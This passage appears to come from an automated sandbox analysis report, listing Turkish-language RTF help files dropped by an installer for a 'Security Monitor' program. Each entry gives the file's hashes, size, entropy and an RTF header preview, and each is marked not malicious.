02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-H1BQK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45843
Entropy (8bit):	5.099884587726615
Encrypted:	false
SSDEEP:	768:XFRfvKmGHTwjjJ6jNBmuIV3brtE/TnFkUpv0jxZGcAK0njUZXZo7IJJY:XHCMHJ2
MD5:	FE6B9C7CF4F0B6627DEB585E904CDBEB
SHA1:	552B91CE134693F121234EB5E3CA538C60449B7A
SHA-256:	74FDB6A5CAB4DAF2D175C831124D75631EBD1247BF1C09F43BA8CDA3B4241B56
SHA-512:	ABE4C5B9A2B1F074A4D9A470AE2173282DFCDE63382CCC7311DF3822698CDB4A7F02B98D85AAF3DFFBC0E97F734E026D5F97438858AB5BC76821F4CD8D2D22E5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-HREJ0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41048
Entropy (8bit):	5.100342903202798
Encrypted:	false
SSDEEP:	768:XFRfQuekVh+DiDhZ6jN3muIV3brtEeLUsQZZ6jNS23FmsZo7I1Jj:XYz0CyH1V
MD5:	830A25F0F0DD4201CEDCE5A71290F52B
SHA1:	7E8035CB05D3883857F729AD02FC772425DE859E
SHA-256:	02A019309A83F3E82D5231C7E1861F7A54FFDF8C55C0357DC8335E56D89A8806
SHA-512:	5F25190BE2A3C305113595C9517DC4CBDB7D6D6DE35B514C1E6F15AEC3BEDA831F6A600D5876262D93B93A40245A1599D0BFA5CAA37F94937C30E6B4ECB52EF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-NOU64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	35217
Entropy (8bit):	5.100503141917066
Encrypted:	false
SSDEEP:	384:ZFRfkkIOxdWvXLV2NakmumYjucj+jaUysUredZjFjDfA7Leo75Y3k37pHYfjioJW:ZFRfAumYicq2BlMZB/A7yZo7IJJW
MD5:	1456CC4187B4C904B65403612F948F8D
SHA1:	D8636D6B2B0EDCB47001AD5D107643D66C4A0623
SHA-256:	FE38EEF744F8B1E2D385BDB4487C795BBF4B74E6C4EF2B61201E4276C04F941E
SHA-512:	CA7E563B3552F12DB33F6AAC2946AB7DC1AD83EA1726529A42C06F236AAEB896169FF4AFBC990AFC12473498C07584C3CA18B148F0184FB295C2DACA2482187B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-VPIEG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43564
Entropy (8bit):	5.107218209627063
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRNoUCXap/z3OgwXG6Iu:TL4f3OgwXG6Iu
MD5:	1D227690D1B4A573597374FEDFC0E5A9
SHA1:	73BD11FEBB9219AD6FA0273AFF4B7440E594C3AA
SHA-256:	D795CFADCCA7514424BD9A335CB14C4AB410225B7A2628982BC9A33851E4DB3C
SHA-512:	BD589D52D6F12E9A02814C67DC52EBECC1EECBB3A686BBED7A25C9F65A8A1A7D5BF331DF61933CD0A4A383A80366867AA2890F371174F77FF4E4B153DD20ED17
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42048
Entropy (8bit):	5.112920780203348
Encrypted:	false
SSDEEP:	768:TLyrsEue7ccoHUVQtqpBMV8SLpmo+6Xl5m/z3OgwXG6Ie:THEr3OgwXG6Ie
MD5:	FEC5348E8803947C2A90184FABCDCF6B
SHA1:	2D43C953E0DF8C80BAE2FE19792A1A0E1CDD33A5
SHA-256:	EB1C7F1EA6A62EC39DE6528B68F112EDB8E137106627A706DAC5F5E73EF4B785
SHA-512:	435FD2FCB064017FB68BEE751B1DCABB134867B8E27312D25589B10C87EDC68D74F52EDE56039A1E0395CEF9568DC72AA223B9EAAFA3AF09A079F9AB1C29A4D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f41\fbidi \fswiss\fcharset162\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	45800
Entropy (8bit):	5.097060523282222
Encrypted:	false
SSDEEP:	768:0LMrb5Ke8ctMRcPMRC90OmDcPMRC90Okj+yXpcrb+/z3OgwXG6IN:085ERZau3OgwXG6IN
MD5:	BF226FC63E045046722D8F7D54D3CD48
SHA1:	6134D8D56E0E9FADBCB931CD091513E69A766D33
SHA-256:	1BC9F58D4EC025B08FF100A71397F11FDE77AFF49271545A7C91ABCECB95BD39
SHA-512:	EAA01E5017FE5E9EB5C383C708F0229AFFE70E465D7460BDA475117BD56B12DC52669D59DFEADD28EB8B82696ECB48BF8F0F6BF13422D733FBD98EDD54E7A10B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45843
Entropy (8bit):	5.099884587726615
Encrypted:	false
SSDEEP:	768:XFRfvKmGHTwjjJ6jNBmuIV3brtE/TnFkUpv0jxZGcAK0njUZXZo7IJJY:XHCMHJ2
MD5:	FE6B9C7CF4F0B6627DEB585E904CDBEB
SHA1:	552B91CE134693F121234EB5E3CA538C60449B7A
SHA-256:	74FDB6A5CAB4DAF2D175C831124D75631EBD1247BF1C09F43BA8CDA3B4241B56
SHA-512:	ABE4C5B9A2B1F074A4D9A470AE2173282DFCDE63382CCC7311DF3822698CDB4A7F02B98D85AAF3DFFBC0E97F734E026D5F97438858AB5BC76821F4CD8D2D22E5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56877
Entropy (8bit):	5.08048638360949
Encrypted:	false
SSDEEP:	768:XFRf9q5GHTwjjJ6jNBmuIV3brtE/TnFkUpvMT1u55U4hU8Gs2PsYyCGsDt/8pA1T:XV/wT1QgfTHJ3
MD5:	300A9C30F7C747136B0481B5765852E8
SHA1:	A7DFA3454EDA5842B17AC27684B359EFBE68DF52
SHA-256:	878EFDAD351F09C39DE3B711B25265E029847775500FE0C407D87898BD270158
SHA-512:	9B989F4C7A3983F869C3F4FA694FF0B27661C4A88853684D84531ED12B317EE3172C1D9E0A100FBD6413ABE97FE50F6DB71A8DC3BF27F3716476830EC76683BC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41746
Entropy (8bit):	5.1082830705303195
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRnomp/z3OgwXG6Ik:TL433OgwXG6Ik
MD5:	66827CCAAE125825B1E69A77C2F3C184
SHA1:	AF5BE3BBE593D4327EA77157EE4780A185C50710
SHA-256:	6444F8ADA3675836844F7320C0F588572EE3D7C890A4DD5E8132CB17DC7FCBAA
SHA-512:	526058E0E367398C4E3295DA8B0F07118A1DF628DE4CBEDE276516E1FB045A33B2757768AE3713833F24A23E49667BC33BA43679844B0E68A9843CE390416984
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43858
Entropy (8bit):	5.1066210164319585
Encrypted:	false
SSDEEP:	768:TLmrs4sw9FmdVFroAWBmho4cnTseR4Jv6YfpgC/z3OgwXG6I7:TL4w3OgwXG6I7
MD5:	47A87D6CE96B1DCA2C609A778373485D
SHA1:	15823BE17A06C6C57EBAF6D0E55F56EBF0EFE98F
SHA-256:	9276B70DE54E2675E72A84AE277563D4518A0DC56565379378A7CC3B10488697
SHA-512:	D717567ED8C4A25270312E31F2481241A9B164B8A04D19C68A1BF3F9BD8890F99C3A0F4A76AFD6A4A24208F1BE16D9F10FCEEB36099828FCD3F35AC8E92C498E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	50542
Entropy (8bit):	5.082123818083202
Encrypted:	false
SSDEEP:	768:0LMrbAKeJcmz0s4ieSRukoMV8SLpmo8uSYSyWBKnObct3/nf4qY3BtHn+/z3Ogwa:08A7YM3OgwXG6I5
MD5:	8375A1338E343C284BB1EA8461B16EF5
SHA1:	5329FB0F5AFB566177F45FE49A7FF0411571CB6C
SHA-256:	6024A7AA29911E5D8670FC1028749D736D95115AA89E07DC00C823E68101B032
SHA-512:	98D1213836A17D44072B11488BF9FB5DF408A3B7E1D0EED7CAE13C3C6DDEF09EE52C613C20C7277410BAFD57644A88B4EF9286B9BB5D31C79DB6E9D30F4317AF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41095
Entropy (8bit):	5.105004070141461
Encrypted:	false
SSDEEP:	768:0LMrbpuh4puRkAzKqCV9mdecy46Xo/zdUIpeabve:08pxnmdq46IdUIpeabve
MD5:	90E7A977D4DF30B041F323B8039EC7CF
SHA1:	792587C64C654021CEBEC446E6DDB08A49D1B2DA
SHA-256:	F7E70A032DFF7371ADB12C85526C4A5F75F8B4C381EAC028873B8DB8AC0F77B3
SHA-512:	E35BB3A910EB4D5CB2249E3833A02C41153EB88B02C5FC949B4FFE7C0F6CF436F2BEB977670FF1155F89774C2499C15453A468D3A094DF6370C02C0954E291A1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43496
Entropy (8bit):	5.1077571102439245
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRIMXyTsx/z3OgwXG6I2:TL4P3OgwXG6I2
MD5:	FDD5D42614DC8C5255D6808F5FB9E756
SHA1:	462F1BE33F4DE680C46F27A2732136F2A96EFB29
SHA-256:	1615765F4CC8649F16975820F90F5FA6117F28CD97771021C8C8449B169B6DF7
SHA-512:	46CD50DDBE274A62EC6E9D8650A71C16D4B213E56700CDB5FDE6BB880CC2096BD21934BADD8B27076313E9F57DAE468F431674B7D55D65C59C4B0DEA6922307B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42485
Entropy (8bit):	5.10644966338614
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseR6NnE0/z3OgwXG6Iq:TL423OgwXG6Iq
MD5:	2F22B5B2B29308EFA8F83A2A7756F134
SHA1:	5AA36D0592B3A10518F28AFA7C65D338FD29B64E
SHA-256:	F19658BABB054B874513345E81C3F3294FABF41C2F1A35B245510E307F782A5C
SHA-512:	34902F5B360C5DA92E49B7C22D18250D504CF3186F229FADE902AFE617B3B13D47D0E8CB11B2423F8A1DA487B1140D96DCCB22613EE16D3ACB9BFB5DD72F1071
Malicious:	false
Reputation:	unknown
